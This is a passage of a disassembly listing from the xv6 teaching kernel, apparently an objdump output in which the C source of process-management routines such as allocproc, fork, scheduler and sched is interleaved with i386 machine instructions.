8010348d: e8 7e 0d 00 00 call 80104210 <release>
}
80103492: 83 c4 1c add $0x1c,%esp
return i;
80103495: 89 d8 mov %ebx,%eax
}
80103497: 5b pop %ebx
80103498: 5e pop %esi
80103499: 5f pop %edi
8010349a: 5d pop %ebp
8010349b: c3 ret
8010349c: 66 90 xchg %ax,%ax
8010349e: 66 90 xchg %ax,%ax
801034a0 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
801034a0: 55 push %ebp
801034a1: 89 e5 mov %esp,%ebp
801034a3: 53 push %ebx
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
801034a4: bb 54 2d 11 80 mov $0x80112d54,%ebx
{
801034a9: 83 ec 14 sub $0x14,%esp
acquire(&ptable.lock);
801034ac: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801034b3: e8 68 0c 00 00 call 80104120 <acquire>
801034b8: eb 11 jmp 801034cb <allocproc+0x2b>
801034ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
801034c0: 83 eb 80 sub $0xffffff80,%ebx
801034c3: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
801034c9: 74 7d je 80103548 <allocproc+0xa8>
if(p->state == UNUSED)
801034cb: 8b 43 0c mov 0xc(%ebx),%eax
801034ce: 85 c0 test %eax,%eax
801034d0: 75 ee jne 801034c0 <allocproc+0x20>
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
801034d2: a1 04 a0 10 80 mov 0x8010a004,%eax
release(&ptable.lock);
801034d7: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
p->state = EMBRYO;
801034de: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx)
p->pid = nextpid++;
801034e5: 8d 50 01 lea 0x1(%eax),%edx
801034e8: 89 15 04 a0 10 80 mov %edx,0x8010a004
801034ee: 89 43 10 mov %eax,0x10(%ebx)
release(&ptable.lock);
801034f1: e8 1a 0d 00 00 call 80104210 <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
801034f6: e8 85 ef ff ff call 80102480 <kalloc>
801034fb: 85 c0 test %eax,%eax
801034fd: 89 43 08 mov %eax,0x8(%ebx)
80103500: 74 5a je 8010355c <allocproc+0xbc>
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
80103502: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
80103508: 05 9c 0f 00 00 add $0xf9c,%eax
sp -= sizeof *p->tf;
8010350d: 89 53 18 mov %edx,0x18(%ebx)
*(uint*)sp = (uint)trapret;
80103510: c7 40 14 15 54 10 80 movl $0x80105415,0x14(%eax)
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
80103517: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
8010351e: 00
8010351f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80103526: 00
80103527: 89 04 24 mov %eax,(%esp)
p->context = (struct context*)sp;
8010352a: 89 43 1c mov %eax,0x1c(%ebx)
memset(p->context, 0, sizeof *p->context);
8010352d: e8 2e 0d 00 00 call 80104260 <memset>
p->context->eip = (uint)forkret;
80103532: 8b 43 1c mov 0x1c(%ebx),%eax
80103535: c7 40 10 70 35 10 80 movl $0x80103570,0x10(%eax)
return p;
8010353c: 89 d8 mov %ebx,%eax
}
8010353e: 83 c4 14 add $0x14,%esp
80103541: 5b pop %ebx
80103542: 5d pop %ebp
80103543: c3 ret
80103544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
release(&ptable.lock);
80103548: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010354f: e8 bc 0c 00 00 call 80104210 <release>
}
80103554: 83 c4 14 add $0x14,%esp
return 0;
80103557: 31 c0 xor %eax,%eax
}
80103559: 5b pop %ebx
8010355a: 5d pop %ebp
8010355b: c3 ret
p->state = UNUSED;
8010355c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return 0;
80103563: eb d9 jmp 8010353e <allocproc+0x9e>
80103565: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103569: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103570 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
80103570: 55 push %ebp
80103571: 89 e5 mov %esp,%ebp
80103573: 83 ec 18 sub $0x18,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
80103576: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010357d: e8 8e 0c 00 00 call 80104210 <release>
if (first) {
80103582: a1 00 a0 10 80 mov 0x8010a000,%eax
80103587: 85 c0 test %eax,%eax
80103589: 75 05 jne 80103590 <forkret+0x20>
iinit(ROOTDEV);
initlog(ROOTDEV);
}
// Return to "caller", actually trapret (see allocproc).
}
8010358b: c9 leave
8010358c: c3 ret
8010358d: 8d 76 00 lea 0x0(%esi),%esi
iinit(ROOTDEV);
80103590: c7 04 24 01 00 00 00 movl $0x1,(%esp)
first = 0;
80103597: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000
8010359e: 00 00 00
iinit(ROOTDEV);
801035a1: e8 aa de ff ff call 80101450 <iinit>
initlog(ROOTDEV);
801035a6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801035ad: e8 9e f4 ff ff call 80102a50 <initlog>
}
801035b2: c9 leave
801035b3: c3 ret
801035b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801035ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801035c0 <pinit>:
{
801035c0: 55 push %ebp
801035c1: 89 e5 mov %esp,%ebp
801035c3: 83 ec 18 sub $0x18,%esp
initlock(&ptable.lock, "ptable");
801035c6: c7 44 24 04 55 73 10 movl $0x80107355,0x4(%esp)
801035cd: 80
801035ce: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801035d5: e8 56 0a 00 00 call 80104030 <initlock>
}
801035da: c9 leave
801035db: c3 ret
801035dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801035e0 <mycpu>:
{
801035e0: 55 push %ebp
801035e1: 89 e5 mov %esp,%ebp
801035e3: 56 push %esi
801035e4: 53 push %ebx
801035e5: 83 ec 10 sub $0x10,%esp
asm volatile("pushfl; popl %0" : "=r" (eflags));
801035e8: 9c pushf
801035e9: 58 pop %eax
if(readeflags()&FL_IF)
801035ea: f6 c4 02 test $0x2,%ah
801035ed: 75 57 jne 80103646 <mycpu+0x66>
apicid = lapicid();
801035ef: e8 4c f1 ff ff call 80102740 <lapicid>
for (i = 0; i < ncpu; ++i) {
801035f4: 8b 35 00 2d 11 80 mov 0x80112d00,%esi
801035fa: 85 f6 test %esi,%esi
801035fc: 7e 3c jle 8010363a <mycpu+0x5a>
if (cpus[i].apicid == apicid)
801035fe: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx
80103605: 39 c2 cmp %eax,%edx
80103607: 74 2d je 80103636 <mycpu+0x56>
80103609: b9 30 28 11 80 mov $0x80112830,%ecx
for (i = 0; i < ncpu; ++i) {
8010360e: 31 d2 xor %edx,%edx
80103610: 83 c2 01 add $0x1,%edx
80103613: 39 f2 cmp %esi,%edx
80103615: 74 23 je 8010363a <mycpu+0x5a>
if (cpus[i].apicid == apicid)
80103617: 0f b6 19 movzbl (%ecx),%ebx
8010361a: 81 c1 b0 00 00 00 add $0xb0,%ecx
80103620: 39 c3 cmp %eax,%ebx
80103622: 75 ec jne 80103610 <mycpu+0x30>
return &cpus[i];
80103624: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax
}
8010362a: 83 c4 10 add $0x10,%esp
8010362d: 5b pop %ebx
8010362e: 5e pop %esi
8010362f: 5d pop %ebp
return &cpus[i];
80103630: 05 80 27 11 80 add $0x80112780,%eax
}
80103635: c3 ret
for (i = 0; i < ncpu; ++i) {
80103636: 31 d2 xor %edx,%edx
80103638: eb ea jmp 80103624 <mycpu+0x44>
panic("unknown apicid\n");
8010363a: c7 04 24 5c 73 10 80 movl $0x8010735c,(%esp)
80103641: e8 1a cd ff ff call 80100360 <panic>
panic("mycpu called with interrupts enabled\n");
80103646: c7 04 24 38 74 10 80 movl $0x80107438,(%esp)
8010364d: e8 0e cd ff ff call 80100360 <panic>
80103652: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103659: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103660 <cpuid>:
cpuid() {
80103660: 55 push %ebp
80103661: 89 e5 mov %esp,%ebp
80103663: 83 ec 08 sub $0x8,%esp
return mycpu()-cpus;
80103666: e8 75 ff ff ff call 801035e0 <mycpu>
}
8010366b: c9 leave
return mycpu()-cpus;
8010366c: 2d 80 27 11 80 sub $0x80112780,%eax
80103671: c1 f8 04 sar $0x4,%eax
80103674: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax
}
8010367a: c3 ret
8010367b: 90 nop
8010367c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103680 <myproc>:
myproc(void) {
80103680: 55 push %ebp
80103681: 89 e5 mov %esp,%ebp
80103683: 53 push %ebx
80103684: 83 ec 04 sub $0x4,%esp
pushcli();
80103687: e8 54 0a 00 00 call 801040e0 <pushcli>
c = mycpu();
8010368c: e8 4f ff ff ff call 801035e0 <mycpu>
p = c->proc;
80103691: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103697: e8 04 0b 00 00 call 801041a0 <popcli>
}
8010369c: 83 c4 04 add $0x4,%esp
8010369f: 89 d8 mov %ebx,%eax
801036a1: 5b pop %ebx
801036a2: 5d pop %ebp
801036a3: c3 ret
801036a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801036aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801036b0 <userinit>:
{
801036b0: 55 push %ebp
801036b1: 89 e5 mov %esp,%ebp
801036b3: 53 push %ebx
801036b4: 83 ec 14 sub $0x14,%esp
p = allocproc();
801036b7: e8 e4 fd ff ff call 801034a0 <allocproc>
801036bc: 89 c3 mov %eax,%ebx
initproc = p;
801036be: a3 b8 a5 10 80 mov %eax,0x8010a5b8
if((p->pgdir = setupkvm()) == 0)
801036c3: e8 58 33 00 00 call 80106a20 <setupkvm>
801036c8: 85 c0 test %eax,%eax
801036ca: 89 43 04 mov %eax,0x4(%ebx)
801036cd: 0f 84 d4 00 00 00 je 801037a7 <userinit+0xf7>
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
801036d3: 89 04 24 mov %eax,(%esp)
801036d6: c7 44 24 08 2c 00 00 movl $0x2c,0x8(%esp)
801036dd: 00
801036de: c7 44 24 04 60 a4 10 movl $0x8010a460,0x4(%esp)
801036e5: 80
801036e6: e8 45 30 00 00 call 80106730 <inituvm>
p->sz = PGSIZE;
801036eb: c7 03 00 10 00 00 movl $0x1000,(%ebx)
memset(p->tf, 0, sizeof(*p->tf));
801036f1: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp)
801036f8: 00
801036f9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80103700: 00
80103701: 8b 43 18 mov 0x18(%ebx),%eax
80103704: 89 04 24 mov %eax,(%esp)
80103707: e8 54 0b 00 00 call 80104260 <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
8010370c: 8b 43 18 mov 0x18(%ebx),%eax
8010370f: ba 1b 00 00 00 mov $0x1b,%edx
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
80103714: b9 23 00 00 00 mov $0x23,%ecx
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
80103719: 66 89 50 3c mov %dx,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
8010371d: 8b 43 18 mov 0x18(%ebx),%eax
80103720: 66 89 48 2c mov %cx,0x2c(%eax)
p->tf->es = p->tf->ds;
80103724: 8b 43 18 mov 0x18(%ebx),%eax
80103727: 0f b7 50 2c movzwl 0x2c(%eax),%edx
8010372b: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
8010372f: 8b 43 18 mov 0x18(%ebx),%eax
80103732: 0f b7 50 2c movzwl 0x2c(%eax),%edx
80103736: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
8010373a: 8b 43 18 mov 0x18(%ebx),%eax
8010373d: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
80103744: 8b 43 18 mov 0x18(%ebx),%eax
80103747: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
8010374e: 8b 43 18 mov 0x18(%ebx),%eax
80103751: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
80103758: 8d 43 6c lea 0x6c(%ebx),%eax
8010375b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80103762: 00
80103763: c7 44 24 04 85 73 10 movl $0x80107385,0x4(%esp)
8010376a: 80
8010376b: 89 04 24 mov %eax,(%esp)
8010376e: e8 cd 0c 00 00 call 80104440 <safestrcpy>
p->cwd = namei("/");
80103773: c7 04 24 8e 73 10 80 movl $0x8010738e,(%esp)
8010377a: e8 61 e7 ff ff call 80101ee0 <namei>
8010377f: 89 43 68 mov %eax,0x68(%ebx)
acquire(&ptable.lock);
80103782: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103789: e8 92 09 00 00 call 80104120 <acquire>
p->state = RUNNABLE;
8010378e: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
80103795: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010379c: e8 6f 0a 00 00 call 80104210 <release>
}
801037a1: 83 c4 14 add $0x14,%esp
801037a4: 5b pop %ebx
801037a5: 5d pop %ebp
801037a6: c3 ret
panic("userinit: out of memory?");
801037a7: c7 04 24 6c 73 10 80 movl $0x8010736c,(%esp)
801037ae: e8 ad cb ff ff call 80100360 <panic>
801037b3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801037b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801037c0 <growproc>:
{
801037c0: 55 push %ebp
801037c1: 89 e5 mov %esp,%ebp
801037c3: 56 push %esi
801037c4: 53 push %ebx
801037c5: 83 ec 10 sub $0x10,%esp
801037c8: 8b 75 08 mov 0x8(%ebp),%esi
struct proc *curproc = myproc();
801037cb: e8 b0 fe ff ff call 80103680 <myproc>
if(n > 0){
801037d0: 83 fe 00 cmp $0x0,%esi
struct proc *curproc = myproc();
801037d3: 89 c3 mov %eax,%ebx
sz = curproc->sz;
801037d5: 8b 00 mov (%eax),%eax
if(n > 0){
801037d7: 7e 2f jle 80103808 <growproc+0x48>
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
801037d9: 01 c6 add %eax,%esi
801037db: 89 74 24 08 mov %esi,0x8(%esp)
801037df: 89 44 24 04 mov %eax,0x4(%esp)
801037e3: 8b 43 04 mov 0x4(%ebx),%eax
801037e6: 89 04 24 mov %eax,(%esp)
801037e9: e8 92 30 00 00 call 80106880 <allocuvm>
801037ee: 85 c0 test %eax,%eax
801037f0: 74 36 je 80103828 <growproc+0x68>
curproc->sz = sz;
801037f2: 89 03 mov %eax,(%ebx)
switchuvm(curproc);
801037f4: 89 1c 24 mov %ebx,(%esp)
801037f7: e8 24 2e 00 00 call 80106620 <switchuvm>
return 0;
801037fc: 31 c0 xor %eax,%eax
}
801037fe: 83 c4 10 add $0x10,%esp
80103801: 5b pop %ebx
80103802: 5e pop %esi
80103803: 5d pop %ebp
80103804: c3 ret
80103805: 8d 76 00 lea 0x0(%esi),%esi
} else if(n < 0){
80103808: 74 e8 je 801037f2 <growproc+0x32>
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
8010380a: 01 c6 add %eax,%esi
8010380c: 89 74 24 08 mov %esi,0x8(%esp)
80103810: 89 44 24 04 mov %eax,0x4(%esp)
80103814: 8b 43 04 mov 0x4(%ebx),%eax
80103817: 89 04 24 mov %eax,(%esp)
8010381a: e8 61 31 00 00 call 80106980 <deallocuvm>
8010381f: 85 c0 test %eax,%eax
80103821: 75 cf jne 801037f2 <growproc+0x32>
80103823: 90 nop
80103824: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80103828: b8 ff ff ff ff mov $0xffffffff,%eax
8010382d: eb cf jmp 801037fe <growproc+0x3e>
8010382f: 90 nop
80103830 <fork>:
{
80103830: 55 push %ebp
80103831: 89 e5 mov %esp,%ebp
80103833: 57 push %edi
80103834: 56 push %esi
80103835: 53 push %ebx
80103836: 83 ec 1c sub $0x1c,%esp
struct proc *curproc = myproc();
80103839: e8 42 fe ff ff call 80103680 <myproc>
8010383e: 89 c3 mov %eax,%ebx
if((np = allocproc()) == 0){
80103840: e8 5b fc ff ff call 801034a0 <allocproc>
80103845: 85 c0 test %eax,%eax
80103847: 89 c7 mov %eax,%edi
80103849: 89 45 e4 mov %eax,-0x1c(%ebp)
8010384c: 0f 84 bc 00 00 00 je 8010390e <fork+0xde>
if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){
80103852: 8b 03 mov (%ebx),%eax
80103854: 89 44 24 04 mov %eax,0x4(%esp)
80103858: 8b 43 04 mov 0x4(%ebx),%eax
8010385b: 89 04 24 mov %eax,(%esp)
8010385e: e8 9d 32 00 00 call 80106b00 <copyuvm>
80103863: 85 c0 test %eax,%eax
80103865: 89 47 04 mov %eax,0x4(%edi)
80103868: 0f 84 a7 00 00 00 je 80103915 <fork+0xe5>
np->sz = curproc->sz;
8010386e: 8b 03 mov (%ebx),%eax
80103870: 8b 4d e4 mov -0x1c(%ebp),%ecx
80103873: 89 01 mov %eax,(%ecx)
*np->tf = *curproc->tf;
80103875: 8b 79 18 mov 0x18(%ecx),%edi
80103878: 89 c8 mov %ecx,%eax
np->parent = curproc;
8010387a: 89 59 14 mov %ebx,0x14(%ecx)
*np->tf = *curproc->tf;
8010387d: 8b 73 18 mov 0x18(%ebx),%esi
80103880: b9 13 00 00 00 mov $0x13,%ecx
80103885: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
for(i = 0; i < NOFILE; i++)
80103887: 31 f6 xor %esi,%esi
np->tf->eax = 0;
80103889: 8b 40 18 mov 0x18(%eax),%eax
8010388c: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
80103893: 90 nop
80103894: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(curproc->ofile[i])
80103898: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
8010389c: 85 c0 test %eax,%eax
8010389e: 74 0f je 801038af <fork+0x7f>
np->ofile[i] = filedup(curproc->ofile[i]);
801038a0: 89 04 24 mov %eax,(%esp)
801038a3: e8 08 d5 ff ff call 80100db0 <filedup>
801038a8: 8b 55 e4 mov -0x1c(%ebp),%edx
801038ab: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4)
for(i = 0; i < NOFILE; i++)
801038af: 83 c6 01 add $0x1,%esi
801038b2: 83 fe 10 cmp $0x10,%esi
801038b5: 75 e1 jne 80103898 <fork+0x68>
np->cwd = idup(curproc->cwd);
801038b7: 8b 43 68 mov 0x68(%ebx),%eax
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
801038ba: 83 c3 6c add $0x6c,%ebx
np->cwd = idup(curproc->cwd);
801038bd: 89 04 24 mov %eax,(%esp)
801038c0: e8 9b dd ff ff call 80101660 <idup>
801038c5: 8b 7d e4 mov -0x1c(%ebp),%edi
801038c8: 89 47 68 mov %eax,0x68(%edi)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
801038cb: 8d 47 6c lea 0x6c(%edi),%eax
801038ce: 89 5c 24 04 mov %ebx,0x4(%esp)
801038d2: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
801038d9: 00
801038da: 89 04 24 mov %eax,(%esp)
801038dd: e8 5e 0b 00 00 call 80104440 <safestrcpy>
pid = np->pid;
801038e2: 8b 5f 10 mov 0x10(%edi),%ebx
acquire(&ptable.lock);
801038e5: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801038ec: e8 2f 08 00 00 call 80104120 <acquire>
np->state = RUNNABLE;
801038f1: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi)
release(&ptable.lock);
801038f8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801038ff: e8 0c 09 00 00 call 80104210 <release>
return pid;
80103904: 89 d8 mov %ebx,%eax
}
80103906: 83 c4 1c add $0x1c,%esp
80103909: 5b pop %ebx
8010390a: 5e pop %esi
8010390b: 5f pop %edi
8010390c: 5d pop %ebp
8010390d: c3 ret
return -1;
8010390e: b8 ff ff ff ff mov $0xffffffff,%eax
80103913: eb f1 jmp 80103906 <fork+0xd6>
kfree(np->kstack);
80103915: 8b 7d e4 mov -0x1c(%ebp),%edi
80103918: 8b 47 08 mov 0x8(%edi),%eax
8010391b: 89 04 24 mov %eax,(%esp)
8010391e: e8 ad e9 ff ff call 801022d0 <kfree>
return -1;
80103923: b8 ff ff ff ff mov $0xffffffff,%eax
np->kstack = 0;
80103928: c7 47 08 00 00 00 00 movl $0x0,0x8(%edi)
np->state = UNUSED;
8010392f: c7 47 0c 00 00 00 00 movl $0x0,0xc(%edi)
return -1;
80103936: eb ce jmp 80103906 <fork+0xd6>
80103938: 90 nop
80103939: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103940 <scheduler>:
{
80103940: 55 push %ebp
80103941: 89 e5 mov %esp,%ebp
80103943: 57 push %edi
80103944: 56 push %esi
80103945: 53 push %ebx
80103946: 83 ec 1c sub $0x1c,%esp
struct cpu *c = mycpu();
80103949: e8 92 fc ff ff call 801035e0 <mycpu>
8010394e: 89 c6 mov %eax,%esi
c->proc = 0;
80103950: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax)
80103957: 00 00 00
8010395a: 8d 78 04 lea 0x4(%eax),%edi
8010395d: 8d 76 00 lea 0x0(%esi),%esi
asm volatile("sti");
80103960: fb sti
acquire(&ptable.lock);
80103961: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103968: bb 54 2d 11 80 mov $0x80112d54,%ebx
acquire(&ptable.lock);
8010396d: e8 ae 07 00 00 call 80104120 <acquire>
80103972: eb 0f jmp 80103983 <scheduler+0x43>
80103974: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103978: 83 eb 80 sub $0xffffff80,%ebx
8010397b: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103981: 74 45 je 801039c8 <scheduler+0x88>
if(p->state != RUNNABLE)
80103983: 83 7b 0c 03 cmpl $0x3,0xc(%ebx)
80103987: 75 ef jne 80103978 <scheduler+0x38>
c->proc = p;
80103989: 89 9e ac 00 00 00 mov %ebx,0xac(%esi)
switchuvm(p);
8010398f: 89 1c 24 mov %ebx,(%esp)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103992: 83 eb 80 sub $0xffffff80,%ebx
switchuvm(p);
80103995: e8 86 2c 00 00 call 80106620 <switchuvm>
swtch(&(c->scheduler), p->context);
8010399a: 8b 43 9c mov -0x64(%ebx),%eax
p->state = RUNNING;
8010399d: c7 43 8c 04 00 00 00 movl $0x4,-0x74(%ebx)
swtch(&(c->scheduler), p->context);
801039a4: 89 3c 24 mov %edi,(%esp)
801039a7: 89 44 24 04 mov %eax,0x4(%esp)
801039ab: e8 eb 0a 00 00 call 8010449b <swtch>
switchkvm();
801039b0: e8 4b 2c 00 00 call 80106600 <switchkvm>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801039b5: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
c->proc = 0;
801039bb: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi)
801039c2: 00 00 00
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801039c5: 75 bc jne 80103983 <scheduler+0x43>
801039c7: 90 nop
release(&ptable.lock);
801039c8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801039cf: e8 3c 08 00 00 call 80104210 <release>
}
801039d4: eb 8a jmp 80103960 <scheduler+0x20>
801039d6: 8d 76 00 lea 0x0(%esi),%esi
801039d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801039e0 <sched>:
{
801039e0: 55 push %ebp
801039e1: 89 e5 mov %esp,%ebp
801039e3: 56 push %esi
801039e4: 53 push %ebx
801039e5: 83 ec 10 sub $0x10,%esp
struct proc *p = myproc();
801039e8: e8 93 fc ff ff call 80103680 <myproc>
if(!holding(&ptable.lock))
801039ed: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
struct proc *p = myproc();
801039f4: 89 c3 mov %eax,%ebx
if(!holding(&ptable.lock))
801039f6: e8 b5 06 00 00 call 801040b0 <holding>
801039fb: 85 c0 test %eax,%eax
801039fd: 74 4f je 80103a4e <sched+0x6e>
if(mycpu()->ncli != 1)
801039ff: e8 dc fb ff ff call 801035e0 <mycpu>
80103a04: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax)
80103a0b: 75 65 jne 80103a72 <sched+0x92>
if(p->state == RUNNING)
80103a0d: 83 7b 0c 04 cmpl $0x4,0xc(%ebx)
80103a11: 74 53 je 80103a66 <sched+0x86>
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103a13: 9c pushf
80103a14: 58 pop %eax
if(readeflags()&FL_IF)
80103a15: f6 c4 02 test $0x2,%ah
80103a18: 75 40 jne 80103a5a <sched+0x7a>
intena = mycpu()->intena;
80103a1a: e8 c1 fb ff ff call 801035e0 <mycpu>
swtch(&p->context, mycpu()->scheduler);
80103a1f: 83 c3 1c add $0x1c,%ebx
intena = mycpu()->intena;
80103a22: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi
swtch(&p->context, mycpu()->scheduler);
80103a28: e8 b3 fb ff ff call 801035e0 <mycpu>
80103a2d: 8b 40 04 mov 0x4(%eax),%eax
80103a30: 89 1c 24 mov %ebx,(%esp)
80103a33: 89 44 24 04 mov %eax,0x4(%esp)
80103a37: e8 5f 0a 00 00 call 8010449b <swtch>
mycpu()->intena = intena;
80103a3c: e8 9f fb ff ff call 801035e0 <mycpu>
80103a41: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax)
}
80103a47: 83 c4 10 add $0x10,%esp
80103a4a: 5b pop %ebx
80103a4b: 5e pop %esi
80103a4c: 5d pop %ebp
80103a4d: c3 ret
panic("sched ptable.lock");
80103a4e: c7 04 24 90 73 10 80 movl $0x80107390,(%esp)
80103a55: e8 06 c9 ff ff call 80100360 <panic>
panic("sched interruptible");
80103a5a: c7 04 24 bc 73 10 80 movl $0x801073bc,(%esp)
80103a61: e8 fa c8 ff ff call 80100360 <panic>
panic("sched running");
80103a66: c7 04 24 ae 73 10 80 movl $0x801073ae,(%esp)
80103a6d: e8 ee c8 ff ff call 80100360 <panic>
panic("sched locks");
80103a72: c7 04 24 a2 73 10 80 movl $0x801073a2,(%esp)
80103a79: e8 e2 c8 ff ff call 80100360 <panic>
80103a7e: 66 90 xchg %ax,%ax
80103a80 <exit>:
{
80103a80: 55 push %ebp
80103a81: 89 e5 mov %esp,%ebp
80103a83: 56 push %esi
if(curproc == initproc)
80103a84: 31 f6 xor %esi,%esi
{
80103a86: 53 push %ebx
80103a87: 83 ec 10 sub $0x10,%esp
struct proc *curproc = myproc();
80103a8a: e8 f1 fb ff ff call 80103680 <myproc>
if(curproc == initproc)
80103a8f: 3b 05 b8 a5 10 80 cmp 0x8010a5b8,%eax
struct proc *curproc = myproc();
80103a95: 89 c3 mov %eax,%ebx
if(curproc == initproc)
80103a97: 0f 84 ea 00 00 00 je 80103b87 <exit+0x107>
80103a9d: 8d 76 00 lea 0x0(%esi),%esi
if(curproc->ofile[fd]){
80103aa0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
80103aa4: 85 c0 test %eax,%eax
80103aa6: 74 10 je 80103ab8 <exit+0x38>
fileclose(curproc->ofile[fd]);
80103aa8: 89 04 24 mov %eax,(%esp)
80103aab: e8 50 d3 ff ff call 80100e00 <fileclose>
curproc->ofile[fd] = 0;
80103ab0: c7 44 b3 28 00 00 00 movl $0x0,0x28(%ebx,%esi,4)
80103ab7: 00
for(fd = 0; fd < NOFILE; fd++){
80103ab8: 83 c6 01 add $0x1,%esi
80103abb: 83 fe 10 cmp $0x10,%esi
80103abe: 75 e0 jne 80103aa0 <exit+0x20>
begin_op();
80103ac0: e8 2b f0 ff ff call 80102af0 <begin_op>
iput(curproc->cwd);
80103ac5: 8b 43 68 mov 0x68(%ebx),%eax
80103ac8: 89 04 24 mov %eax,(%esp)
80103acb: e8 e0 dc ff ff call 801017b0 <iput>
end_op();
80103ad0: e8 8b f0 ff ff call 80102b60 <end_op>
curproc->cwd = 0;
80103ad5: c7 43 68 00 00 00 00 movl $0x0,0x68(%ebx)
acquire(&ptable.lock);
80103adc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103ae3: e8 38 06 00 00 call 80104120 <acquire>
wakeup1(curproc->parent);
